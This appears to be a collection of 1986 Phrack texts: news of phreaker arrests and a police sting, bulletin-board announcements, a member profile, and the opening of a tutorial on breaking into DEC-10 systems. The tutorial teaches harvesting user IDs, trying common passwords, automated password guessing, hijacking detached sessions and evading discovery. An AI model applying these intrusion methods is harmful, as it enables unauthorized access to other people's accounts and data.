‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have formally retired from the phreaking world, permanently. I have *NOT* been busted or been given any heat by anyone or any corporation. I just have no time what‑so‑ever to devote myself to give phreaking the appropriate time it deserves. Schoolwork is bringing me down, and I have a big research paper coming up, plus lots of other work.

Honestly, phreaking doesn't seem much fun anymore. I especially hate the attitudes of some phreaks (who shall remain nameless) who have their head in the clouds, and put down everyone else. It is quite a pain in the ass, and these people look like fools, cause they are usually nothing quite like what they think they are.

My "retirement" entails the ceasing of myself of calling phreak boards, hacking, and trashing. If you want to call me up on a conference, don't bother (some of you have done so in the past). I don't have the time and I am not interested.

Later on and be seeing you from time to time...

Monty Python

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor's Note: Monty Python did ask for his account to be kept active at Stronghold East, so that he may see what's new, from time to time. Also Monty Python has further stated that he may return to the phreak world this summer.

________________________________________

Demise of The Sprinter

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the front page of the Wednesday, February 12, 1986 edition of the Seattle P‑I were the headlines COMPUTER INVASION CHARGED. Kirkland youth accused of snooping. Some of the articles highlights were:

One Michael P. Wilkerson (The Sprinter) was so successful in bypassing four companies computer security. He could copy or destroy data even the sysops couldn't touch. The 18 year old most notably tapped into MicroSoft's mainframe, along with 3 other companies, Kenworth Truck, Sunstrand Data Control, and Resource Conservation companies.

Looks like the district attorney is asking for a 90 day sentence and will get it due to the cooperation (read plea bargaining) given by Sprinter. During the search, the police discovered a list of TRW dial‑ups and passwords and a handwritten list of Visa, Mastercard, and Amex credit card numbers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It turns out that Sprinter is also under investigation for illegal credit card purchases in his home state of California. Most notably a $1400 bicycle.

A real nice point made by the district attorney is that possession of the list of card numbers is NOT a crime. Only the use of them is illegal.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now that was the Seattle P‑I's interpretation of those events, this is everything else we at Phrack Inc. have been able to uncover.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sprinter got busted for hacking on a large VAX/VMS system, and since it was local to him, he didn't bother to go through an extender. He didn't feel there was any danger considering he wasn't using a lead number.

Sprinter was well known for his "bible" of Sprint codes that was always kept filled. His bible and all computer equipment were confiscated.

Sprinter has 4 charges of hacking. One nice part about this is that since his bust, Sprinter has received several job offers for computer security, including an offer from MicroSoft Inc. (Editor's note: I wonder if MicroSoft will drop its charges against Sprinter as a part of the contract should he sign with them).

The one interesting twist to this story is that Sprinter's bosses got into some deep shit. While people were going through Sprinter's computer things (which was in his bosses' office) they found some evidence that led them to believe that Sprinter's bosses were large cocaine dealers. Sprinter's bosses haven't been heard from since. Later reports did however tell that 1 of them is now serving a 7 year prison sentence and the other is presumed dead. This part is very unspecific because it doesn't say what their basis for this judgement are. Did they find the body? Or is he just missing?

Much of this information has been provided by Sally Ride (Space Cadet),

The Guardian Demon,

and

Jester Sluggo

________________________________________

Some Quick Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Matrix, formally at 415‑922‑1370, is down due to the hard drive being broken. Dr. Strangelove says that as soon as he can get another hard drive, the Matrix will return.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spectre III, run by the Overlord of 815, is back up. Overlord requests that all former users of his system please call it back again. The number is 815‑874‑8534.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unconfirmed reports say that OSUNY, in New York, will soon be returning.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GTE Sprint and U.S. Telecom have merged in order to become a stronger competitor against MCI and AT&T.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Compuserve is now linked with MCI Mail.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pit Fiend of NESSUS was busted for trying to obtain $3500 dollars in gold bars by way of credit card fraud.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Missing Link BBS is back. It is now a public board (or so it is believed). The number is 806‑799‑0016. Sysop: Egyptian Lover.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Because of problems dealing with Phoenix Phortress as well as a growing number of rodents, Metal Shop PRIVATE has changed its general password. It is no longer "REQUIRED". Contact Taran King, Knight Lightning, or Cheap Shades for the new general password, if you haven't been contacted yet (and you were/are a member). See story on Phoenix Phortress in this issues PWN.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The phreaks in Massachusetts and many other nearby areas are in quite a frenzy right now due to a possible bust of Dr. Who 413. It appears that while at school, his parents were showed a search warrant by the Secret Service, who then searched through his computer equipment as well as his notes etc. He eventually went home and is currently waiting for results. There is a very high probability that he has by now been busted. Look for a future story on his bust and its after‑effects in the next Phrack World News.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phreak Klass 2600 originally died because Red Devil became bored of phreaking. Now Crimson Death (Sysop of Hell Phrozen Over) and Videosmith are looking for someone to run Phreak Klass 2600 II.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Feyd Rautha was NOT busted but did retire from the phreak world. In his own words, he is "phazed out" or bored of phreaking. A word to all, especially sysops, there is another Feyd Rautha now. He is in the 612 (Minneapolis) area. Do not confuse him with the old elite mentioned here.

Phrack World News Part 3

==Phrack Inc.==

Volume One, Issue Four, Phile #11 of 11

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 3 ///_ _ ________

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

Extasyy Revisited

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is a continuation of the article that appeared in Phrack World News Issue Number One, about the breakup of Extasyy Elite.

The following are statements were told to Phrack by The Mentor:

1) I am NOT an FBI Agent.

2) The Poltergeist turned in all of Extasyy. I have copies of the statements he made in Fort Worth to the FBI and to the Fort Worth Police Department to get me busted. I do not know if he gave them Bit Blitz's information or not.

3) Yes, I made Bit Blitz return a computer. Bit Blitz promised me a 212 AppleCat in exchange for an Apple //e. Then he failed to deliver the modem

after I gave him the system. This can be verified.

4) Crustaceo Mutoid is in the Racketeers, which Apple Rebel reassembled. Former Racketeers members who are now regrouped include: Hot Rod, Warezird, and The Micron.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The above information should be considered as direct quotes from The Mentor. The Apple //e referred to is one of the many stolen Apple //es talked about in

the story below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A little background on Extasyy.

Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado. Poltergeist was always bragging about how he was a master computer thief.

The Mentor wanted to try his luck as well. In his case, a not very wise idea.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

He and two others went to a high school computer room in Hayes County, Texas. The room was separate from the rest of the building and one of the windows was unlocked.

One of the other two people that went was a student at the school.

It took three car trips to transport all the computers, most of them were kept in friend's apartments. The Mentor gave many of the computers away to friends of his, which helped his popularity greatly. He also gave two monitors to Poltergeist. However he neglected to scratch the serial numbers off them. A more or less fatal mistake.

Each of the apartment owners were allowed to keep one computer, as well as the other two accomplices. Gradually the people with the apartments began to hide or give away some of the computers themselves.

The Mentor finally took all the rest of the computers to a storage warehouse and then gave away or sold what was left of them.

One month later...

In Fort Worth, Texas, The Poltergeist was busted, mainly for credit card fraud, but there were many other charges as well. He talked all about Extasyy and its members and when the police found the Mentor's phone number, Poltergeist talked some more. Among his confiscated equipment were two monitors. The serial numbers were checked and this led the police and FBI to the now one month old computer theft in Hayes County.

Meanwhile, one of the apartment owners was trying to sell off one of his computers to an ex‑girl friend. Unfortunately she knew they were "hot" and told the police. (Advice here guys don't try to sell "hot" items to ex‑girl friends).

Soon after the police took him in and were going to press charges on him as being the mastermind thief. Until he told them the truth about where he got the merchandise, implicating The Mentor and the others.

Soon after, the police and FBI had The Mentor, and even though he no longer had any of the stolen equipment, a warrant and search turned up many other interesting illegal items. His family being prominent in his town, his dad wanted him to cooperate fully with the authorities.

Phreaking was basically unheard of by the police in 512 and they wanted to know how everyone was doing it. The Mentor's response was "Blue Boxing". His town is now equipped with 2600 Hertz detectors on the phone lines. Too bad for Southwestern Bell that Mentor lied about blue boxing.

Mentor's dad always had something against The Protestor, if for no other reason than the fact that he was the one who got Mentor started into phreaking.

The police were interested in the phreak boards, so Mentor's dad suggested they call Protestor's Shack, where The Mentor was a remote sysop.

About this time Mentor had to use the bathroom, or so he told the police. On his way to his restroom he stopped in the kitchen and called The Protestor. He kept it very brief with the one way conversation consisting of roughly these words, 'Get all the illegal shit off your board now! I'll explain later, just do it!'

Never the less, they called Protestor's Shack, only to discover that it was busy.

Protestor's Shack went down on February 24, 1986. At first it was thought that Kleptic Wizard, a former Extasyy member, would take over the board in 314 (St.Louis, MO). However, Protestor later decided that maybe it was time that the board died. He did add however that he may release his board program as a ware sometime in the near future. Most likely to be found on Kleptic Palace AE first. He also does plan to one day return to the pirate/phreak/hack world.

The above information was provided by The Protestor with some parts by The Mentor

________________________________________

The Radio Station BBS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where once stood the famous bulletin board "The Broadway Show", now stands The Radio Station. When Broadway Hacker thought he was moving to Washington D.C. he took down the Broadway Show and gave the line, 718/615‑0580, to another who would run this new bbs. Since then however Broadway Hacker under the handle of Program Director is once again running the board, but the remote sysop Sigmund Fraud is now in total charge. He validates, he hires the subboard sysops.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sysop: Program Director

Remote Sysop: Sigmund Fraud <‑‑ Runs the board

Subboard Sysops:

General: Pirate Pete

Sports/Entertainment: White Lotus

Computer Discussion Forum: Lotus

Pirate/Trading: No one (The Cheetah was fired)

Anarchy: No one (The Merc was fired)

Chemical & Explosives: The Wild Phreak (Gray Mouser was fired) Advanced Hacking and Phreaking: No one (Iron Soldier was fired)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you wish to become a subboard sysop, please leave mail or feedback to Sigmund Fraud.

The Radio Station is where many LOD members and other old elites hang out. Its also among the first to receive new LOD G‑Philes.

The Radio Station receives about 15‑20 new posts a day. Their general board is among the most popular for real world controversial topics.

Program Director has put more time and effort into the debugging and upkeep of his board than ANY other sysop I've ever known. Some of the nice features on his board are the message responses which can keep a particular subject going without interfering with other related subjects.

The Radio Station is a strong supporter of Phrack Newsletter. Give it a call!

718/615‑0580 300/1200 Baud

________________________________________

Phoenix Phortress Stings 7 415 Under Siege

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On March 5, 1986, the following seven phreaks were arrested in what has come to be known as the first computer crime "sting" operation.

Captain Hacker

Doctor Bob

Lasertech

The Adventurer

The Highwayman

The Punisher

The Warden

Many of them or other members of Phoenix Phortress belonged to these groups:

High Mountain Hackers

Kaos Inc.

Shadow Brotherhood

The Nihilist Order (Based in Fremont and Sunnyvale)

Of the seven, three were 15 years old; two were 16; one was 17; and one, 19.

Their charges include:

Several misdemeanors

Trafficking in stolen long distance service codes

Trafficking in stolen credit card numbers

Possession of stolen property

Possession of dangerous weapons (a martial arts weapon)

Charging mail‑order merchandise to stolen credit card numbers Selling stolen property

Charging calls internationally to telephone service numbers

Conviction would mean forfeiture of their computer equipment.

Other phreak boards mentioned include:

Bank Vault (Mainly for credit card numbers and tips on credit card scams) Phreakers Phortress (Mainly of course for phreak codes and other information)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After serving search warrants early Wednesday morning on the seven Fremont residences where the young men live with their parents, police confiscated at least $12,000 worth of equipment such as computers, modems, monitors, floppy disks, and manuals, which contained information ranging from how to make a bomb, to the access codes for the Merrill Lynch and Dean Witter Financial Services Firm's corporate computers.

The sysop of Phoenix Phortress was The Revenger, who was supposedly Wally Richards, a 25 year‑old Hayward man who "phreaked back east a little" in New Jersey. He took the phone number under the name of Al Davis. However he was really Sgt. Daniel Pasquale of the Fremont Police Department.

When he introduced his board to other computer users, he called it the "newest, coolest, phreak board in town." (Editor's note: The word for today is ENTRAPMENT!).

Pasquale said he got the idea for the sting operation after a 16‑year old arrested last summer for possession of stolen property "rolled them over (narced) He told us all about their operation."

Pasquale used a police department Apple //e computer and equipment, with access

codes and information provided by eight corporations, including Wells Fargo Bank, Sprint, and MCI.

Pasquale said he received more than 2,500 calls from about 130 regular users around the country. The police started to make their first case three days after the board went up.

"We had taken the unlisted phone number under the name Al Davis," Pasquale said. "In six days, these kids had the name on the bulletin board. I would have needed a search warrant to get that information."

The arrests were made after five months of investigation by Dan Pasquale.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Originally compiled by Maxwell's Demon of The Dange Gang, recompiled by Knight Lightning. This file contains parts of articles found in the following newspapers:

** The Mercury News

** The Palo Alto Times‑Tribune

** The Daily Review

________________________________________

5

- Phrack V Intro by Taran King

- Phrack Pro-Phile of Broadway Hacker by Taran King

- Hacking Dec's by Carrier Culprit

- Hand to Hand Combat by Bad Boy in Black

- DMS-100 by Knight Lightning

- Bolt Bombs by The Leftist

- Wide Area Networks Part 1 by Jester Sluggo

- Radio Hacking by The Seker

- Mobile Telephone Communications by Phantom Phreaker

- Phrack World News Issue 4 Part 1 by Knight Lightning

- Phrack World News Issue 4 Part 2 by Knight Lightning

- Phrack World News Issue 4 Part 3 by Knight Lightning

Phrack V Intro

==Phrack Inc.==

Volume One, Issue Five, Phile #1 of 12

Intro to Phrack V!

~~~~~ ~~ ~

4/18/86

Welcome to Phrack Inc. Issue Five! Thanks to you, the readers, we have received a good following and will continue to pump out issues! Your support has been fantastic and I'm happy to say that more people out there that know their stuff are coming out of the woodwork and writing philes to be distributed with Phrack Inc. Recently, I received a letter from a law firm in New York complaining about the Master Lock Picking phile in Issue One of Phrack Inc. This was written by Ninja NYC and Gin Fizz, both of The Punk Mafia. It was a top class phile and it worked...but that was the problem. They wished me to do something about the material stated. Details of this story can be read in this edition of Phrack World News. Let me state here though, all philes that are distributed with Phrack Inc. are merely being transmitted, and we are not responsible for the philes' content any more than the readers are. The philes are the responsibility of the writers, and I'm not trying to lay the blame on Ninja NYC and Gin Fizz (see the letter I wrote to the firm stating my position here), but we will not be blamed for a crime that has not been committed. Look forward to many more issues of Phrack Inc. in the far future!

TARAN KING

Sysop of Metal Shop Private

This issue contains the following philes:

#1 Phrack V Intro by Taran King

#2 Phrack Pro‑Phile of Broadway Hacker by Taran King

#3 Hacking Dec's by Carrier Culprit

#4 Hand to Hand Combat by Bad Boy in Black

#5 DMS‑100 by Knight Lightning

#6 Bolt Bombs by The Leftist

#7 Wide Area Networks Part 1 by Jester Sluggo

#8 Radio Hacking by The Seker

#9 Mobile Telephone Communications by Phantom Phreaker

#10‑12 Phrack World News IV by Knight Lightning

========================================

Phrack Pro-Phile of Broadway Hacker

==Phrack Inc.==

Volume One, Issue Five, Phile #2 of 12

==Phrack Pro‑Phile II==

Written and Created by Taran King

4/5/86

Welcome to Phrack Pro‑Phile II. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you one of the most controversial users of our times and of days of old...

Broadway Hacker

~~~~~~~~

Broadway Hacker is the sysop of The Radio Station, a phreak/hack bulletin board in Brooklyn, N.Y. (718).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Broadway Hacker

Call him: Mike

Past handles: None (except his sysop handle, "The Program Director") Handle origin: Thought it up while on Compu‑Serve

Date of Birth: April 22, 1965

Age at current date: 20 years old

Height: 6'2"

Weight: About 150 lbs.

Eye color: Green/Hazel

Hair Color: Brown

Computer: Commodore 64 with 3 disk drives and 300/1200 baud modem Sysop/Co‑Sysop of: The Radio Station, The Night Stalker

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Broadway Hacker started out in the BBS world in late 1983 when he first got his modem. On March 23, 1985, The Broadway Show, his first bulletin board, was launched into the BBS world. It started on 1 disk drive at 300 baud and has upgraded incredibly. It was originally a phreak board as it currently is also. He had originally gotten his C‑64 computer in early 1985. Various members of the elite world including King Blotto, Lex Luthor, and Dr. Who got on his board to make it the memorable board that it was before the format change. His phreak experience began in 1981 through CB radios when a CB'er gave him a code over the line. Some of the memorable phreak boards he was on included Blottoland, The AT&T Phone Center of 312, and Dark Side of the Moon of 818. He gives credit for his phreak knowledge to conferences mostly. The Radio

Mike works at a very large radio station. His phreaking is unknown at work. He's not particularly interested in programming beyond modifying The Radio Station.

Broadway Hacker hasn't the time for hacking now. Broadway attends the Tap meetings in New York occasionally, but in the past he was a regular. He attended the 1986 TelePub meeting in New York which was to decide the fate of Tap magazine. Broadway has met various phreaks in person including BIOC Agent 003, Lex Luthor, Dr. Who, King Blotto, Cheshire Catalyst, The Sprinter, The Saint, Micro Ghoul, 2600 Magazine People, Paul Muad'Dib, and TUC. There were others, but he couldn't remember at 9:00 AM EST. He has made it a point to not become a member of groups, but he has been, in the past, invited to many.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Traveling, radio, telecommunications (modeming, phreaking), trashing, meeting other phreaks, BBS'ing, and running The Radio Station.

Broadway Hacker's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: No names mentioned but yes...

Cars: Fieros

Foods: Ray's Pizza (West 11th and 6th Ave.), Steve's Ice Cream Music: Any top 40 groups in general.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Getting almost kidnapped by a gay bellhop in Denver

Getting stranded in California

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sigmund Fraud (an up‑and‑coming phreak who has learned a lot in a short time)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Broadway Hacker wishes you all to know that he does not conference at all any more because conferencing has depreciated from the old days and that they have become mostly a place to gather for gossip.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? For the most part, Broadway says, "No". Thanks for your time Mike.

TARAN KING

SYSOP OF METAL SHOP PRIVATE

Hacking Dec's

==Phrack Inc.==

Volume One, Issue Five, Phile #3 of 12

[/][/][/][/][/][/][/][/][/][/][/]

[/] Hacking the Dec‑10 system [/]

[/] written by, [/]

[/] Carrier Culprit [/]

[/][/][/][/][/][/][/][/][/][/][/]

Revised Edition....

Note: This file was distributed by accident, it was not finished. This is the new and revised edition. If you see my file distributed on some AE, BBS, Catfur, and it's not the revised edition please ask the sysop to delete it. Thank‑you.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Part I: Logging In, and simple cmds.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note:Sysop's may download this file

but please keep the appropriate

credits.

Welcome to Hacking Dec 10's!

There is one way to recognize a Dec‑10, you will get the "." prompt. First there will be a little login message, sort of like a login on a BBS. For example‑

NIH Timesharing

NIH Tri‑SMP 7.02‑FF 19:57:11 TTY12

system 1378/1381/1453 Connected to Node Happy(40) Line # 13 Please LOGIN

.

Now, you've gotten so far that you have found a Dec (Digital Equipment Corp), you will need to know the format of the login.

[Login format]

The users have numbers called PPN's which stands for "Project/Program Number". The format of a PPN number is [X,X]. The first number is the the Project number and the second is the Program Number.

ie‑

.Log 12,34

Job 64 NIH 7.01 KL 64‑UC TTY12

Password:

The password can range from 1‑8 characters long, it may contain numbers, initials, or something of the sort. Try and think, if I were a user what would my password be. I doubt that method would work but it's worth a try.

Now say this is your very first time on a Dec 10 system. Now if you want to see some information about the system and some commands you may want to type‑

.Help

This will tell a little more about the system you are on. It will tell you how to get information on a specific topic. It may also give you the number to their voice dial‑up just in case your having trouble.

Now the dial‑up (voice) may help you if your good in BS'ing. Usually the Help command will tell you to consult your 'Dec 10‑system guide' for more information.

Now say you want a list of commands to execute. You can type.Help *

You will then get the following commands‑ Which are too many to type in but you will recognize them when you type Help *.

Now after it shows all the commands it will then tell you how to login. It will not give you a demo account, but will give you an example login.

It will say something like, "The Login command is used for accessing the Decsystem‑10 timesharing system."

To login please enter your project,programmer number pair.

LOGIN XXX,XXXX

The system will prompt you for your password. If your PPN or password is wrong you will then be prompted with a message that says‑

Enter Project,programmer #xxx,xxxx

Password:

End of that.

Now, there are some other useful commands you may enter while still *not* having a account. You can access Decnet which I will discuss later which is very nice to a hacker.

Now, there is also a command you can execute called "Help Phone". What this does is, it lists the numbers of different Dec related staffs. etc.... Example‑

.Help Phone

DCRT/CCB/DECsystem‑10 Information Phone numbers (4/86)

Recorded message Dial xxx‑xxxx

Dec‑10 operator Dial xxx‑xxxx

Dec‑10 staff Dial xxx‑xxxx

Terminal Repairs Dial xxx‑xxxx

Classes/Courses Dial xxx‑xxxx

Users Area Phone Dial xxx‑xxxx

Project Control Office Dial xxx‑xxxx

NOTE:This is the same area code as the Decsystem.

Now the two numbers which would be the most important to you would be the number of the Dec10 operator and the Dec10 staff.

Now the most important command which can be executed on the Dec10 which is good to use is "Systat"; this will list PPN's, time, running job, time elapsed. Once you get that PPN you can start hacking away. Using systat is the simplest and easiest way to get PPN's. It will just be easier to type "SY" instead of "Systat", they are both the same thing except sy is the abbreviation.

Now here's a little example of what you would get by executing the "sy" command.

.SY

Status of Brown University 603A at 11:52:33 on 29‑Jan‑86

Uptime 187:12:22, 80%Null time = 80%idle + 0%Lost

7 Jobs in use out of 128. 19 logged in 4 detached out of 89 (LOGMAX) Job Who What Run Time

1 [OPR] OPSER 3:22

2 [OPR] DIALOG 1:29

3 [OPR] BATCON 4:01

4 [OPR] SYSINF 51:13 01

5 24,2 SYSTAT 4:52

6 2332,21 DIRECT 2:22

7 32,22 SYSTAT 8:19

There will also be more stuff along with the above. Now you shouldn't concern yourself with it, that's why I didn't add in. Now also there will be more sub‑headings than run time, who, what, and job. You also shouldn't concern yourself with that either.

Now everything is really self explanatory which is up there. Now for beginners who are reading this file I will just tell you what that means Job is no concern. Who is telling you what kind of person is on the system. [OPR] means Operator, and the numbers such as, 24,2 are referring to regular users with PPN's. Now the next column which is "What". This is telling us what they are executing or what they are presently doing on the system. Run time is telling us what time they logged in. They are using military time. Now under systat you can find: System File Structures, Busy devices, Height segments, and Disk Structure. Don't worry about that stuff now.

Now you've finally got yourself some PPN's, well the next thing to do is to login using the procedure I showed you with Log. Enter the PPN xx,xx, and try to hack out some passwords.

I will now give you a list of passwords which I have currently used to get into a Dec10. If these passwords don't work well I am sorry you'll just have to try some yourself.

Note: You can also make a little program having it testing out different PPN's and Passwords.

List of Passwords‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sex Dec Decnet

Games Test Dcl

System Computer Password

Help Link List

Secret Default Modem

Account Terminal Acsnet

Ppn Operator Connect

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are many more passwords people use but I just put some common ones.

You can also try random passwords like, AA, AAB, AB, CC, etc..

Now that is it on logging in. I spent a little too much time on this but since this will be a two part file, I will discuss more commands that I don't get around to discuss in here in part II. Now this file is intended for the beginner so you experienced Dec hackers are bored now or will get bored later.

Note: If connected to Acsnet, just type AcsDec10 to access the Dec. Everything else that I mentioned in the login will work.

[In the system]

Now will assume you've finally gotten into the system after hacking your brains out. Now, this is how you will know you are in the system. Example‑

.Login 21,34

Password:

Note: You usually get two tries to enter PPN and Password.

The Dec will introduce itself, saying when the last time you were on, etc.

Also if you may do something like this to log‑on.

.Log 12,34

JOB 51 NIH 7.01 KL 64‑UC TT12

Password:[c/r]

Other jobs detached with same PPN:

Job 34 running SYSTAT in ^C state

Do you want to ATTACH to this job? yes

Attaching to job 34

Now, what you are doing is attaching to an idle PPN. See, while someone else is on the system, about 10 minutes <max=15 mins> before you, they can input a command that will allow them to logoff and he can attach back to that PPN when he logs back on. That person will then be put to the place where he logged off at. If I were using 'sys', and I logged off. I would use the command 'detach'. Now the person would have 15 minutes to call back and attach to his PPN. There's one other way to attach to an account. If the person doesn't type something for awhile he will automatically be logged off and if you call within 15 minutes you may be able to attach to his PPN.

Note: You may still have to login.

Ok, we are now in the system after it has verified itself. What do we do? Well first let's take another look at the "systat". We notice there is one other person logged in. But we see he is in "exe", this means he is doing nothing or he's detached. In other words, don't worry about it.

Now if we wanted to change our password, we would type‑

/Password

After we do this, the system will ask us for our old password and our new password, but we should leave the password the way it is so we won't be discovered. But it's a good thing to know.

Now we can take a look at other users files. We can do this by typing‑

Dir [*,*]

*=Wildcard

This will show you files of users who have their files set for public access. Now lets say we want to take a look at someone's file. We would type‑

Dir [12,11]

If 12,11 was the user number we wanted we would type that inside the brackets.

Now there are many types of files. Now you may have looked through someone's dir, or looked through a wildcard and noticed some files. On most files you may have seen the words 'txt' or 'exe'.

For exe you will type‑

[PPN]filename.exe

for txt you will type‑

type filename.txt

You may also see file types such as: dat, bas, cmd, pcl, bin, hlp, and some others.

<1>Exe=executable, which means that you can run these files from the "." prompt.

<2>Txt=Text, these are text files which may contain: information, data or other numerous things. These are files you may see on most every user who has a public directory, and I find the most popular on Dec‑10's.

<3>Bas=Basic, these files are written in of course basic, and must be used in basic. To enter that on a Dec‑10, just simply type Run Bas or if that doesn't work type plain old basic.

Note: The basic files are to be used like any other basic file, load them up and run them.

These are the most common files you may encounter. But when you master those types of files you can go on and check out the other types of files.

Another way of reading files, is by typing‑

File:[*,*]<command>

Once again the '*' is the wildcard.

[Creating a Directory]

To create a directory you can type at the main prompt‑ 'Credir'

There are 2 levels for a directory, the first level is‑

Class and the second is Tvedit.

Now say we have a nice prived account, so we can have a 2 level directory. We would type‑

Create Directory:[,,class,tvedit]

The Dec‑10 would reply by saying‑

Created Dska0:[x,x,class]Sfd/protec:775

Created Dska0:[x,x,class,tvedit]sfd/protec:755

x,x=The PPN you are using, and the Dska0 is the device.

Now we can name our directory by typing‑

/Name:<what you want to call it>

Note: You don't need the brackets.

We can protect it by typing:

/Protect:<name>

There are more '/' commands so you can take a look at them by doing '/help'.

Enough of directories.

[Privs]

